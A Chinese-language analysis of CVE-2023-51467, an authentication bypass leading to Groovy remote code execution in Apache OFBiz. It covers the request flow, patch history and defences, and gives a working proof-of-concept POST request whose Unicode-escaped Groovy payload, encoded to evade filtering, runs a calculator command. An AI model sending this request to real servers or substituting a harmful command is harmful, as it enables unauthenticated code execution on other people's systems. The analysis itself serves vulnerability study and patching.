Apache OFBiz groovy 远程代码执行漏洞分析(CVE-2023-51467)
字数 1522 2025-08-18 11:36:48
Apache OFBiz Groovy 远程代码执行漏洞分析(CVE-2023-51467)
漏洞概述
CVE-2023-51467是Apache OFBiz中的一个远程代码执行漏洞,源于权限绕过问题导致攻击者可以调用后台Groovy脚本执行接口。该漏洞与之前修复的CVE-2023-49070相关,但修复不彻底导致新的绕过方式。
漏洞背景
- 历史关联:该漏洞与CVE-2023-49070相关,之前的修复仅删除了XML-RPC模块,但未修复全局权限校验Filter
- 模块功能:ProgramExport模块用于将Groovy脚本导出为Java类,允许在OFBiz中直接使用Groovy脚本而无需编译
- 历史披露:该后台漏洞早在2020年就已披露,当时因需要鉴权而被官方驳回,当时的修复方案仅是不允许创建jsp文件
漏洞原理
权限绕过机制
-
请求处理流程:
- 请求首先进入
ControlServlet#doGET() - 调用
handler.doRequest()方法 - 根据
nextRequestResponse.type的值选择后续执行逻辑
- 请求首先进入
-
配置解析:
requestMap和其中的responses在启动时从controller.xml配置文件解析- 解析
<request-map>时会解析success响应并添加到requestResponseMap中
-
视图渲染:
- 调用
renderView()准备渲染CONTEXT - 通过
org.apache.ofbizz.widget.model#runSubAction()执行Groovy脚本 actions元素从视图配置的XML文件中获取
- 调用
关键执行点
最终漏洞触发点在于Groovy脚本的执行,攻击者可以通过构造特定请求绕过权限检查直接执行任意Groovy代码。
漏洞利用
POC构造
POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Content-Type: application/x-www-form-urlencoded
groovyProgram=\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0022\u006F\u0070\u0065\u006E\u0020\u002D\u0061\u0020\u0063\u0061\u006C\u0063\u0075\u006C\u0061\u0074\u006F\u0072\u0022\u0029
利用特点
- 使用空用户名和密码(
USERNAME=&PASSWORD=) - 设置
requirePasswordChange=Y触发特定逻辑分支 - Groovy代码使用Unicode编码绕过可能的过滤
补丁分析
原始漏洞修复
- 修改了最后的login返回逻辑
- 不再根据
requirePasswordChange的真假来判断,而是直接返回error - 使得前面传入
Y使requirePasswordChange为True的绕过方式失效
未修复点
- 仍存在一处
return requirePasswordChange ? "requirePasswordChange" : "error"未修改 - 使用
isEmpty()判断是否为空(null或长度为0),空字符串正好满足
新版补丁改进
- 将
checklogin方法中的判断从是否为null改为isEmpty() - 与后续
login()校验保持一致,彻底堵住绕过可能
漏洞复现步骤
- 搭建存在漏洞的Apache OFBiz环境
- 访问网站首页确认服务正常运行
- 使用上述POC构造恶意请求
- 发送POST请求到
/webtools/control/ProgramExport端点 - 观察系统响应,确认命令是否执行
防御建议
- 及时升级到已修复版本
- 加强权限校验逻辑,确保所有后台接口都有适当的访问控制
- 对用户输入的Groovy脚本内容进行严格过滤和沙箱限制
- 监控和审计系统日志中的可疑请求
总结
CVE-2023-51467展示了权限校验不完整可能导致的安全风险,即使修复了一个漏洞点,如果整体安全架构存在缺陷,攻击者仍可能找到新的绕过路径。开发人员需要从整体安全设计角度考虑防护措施,而不仅仅是针对特定漏洞进行点状修复。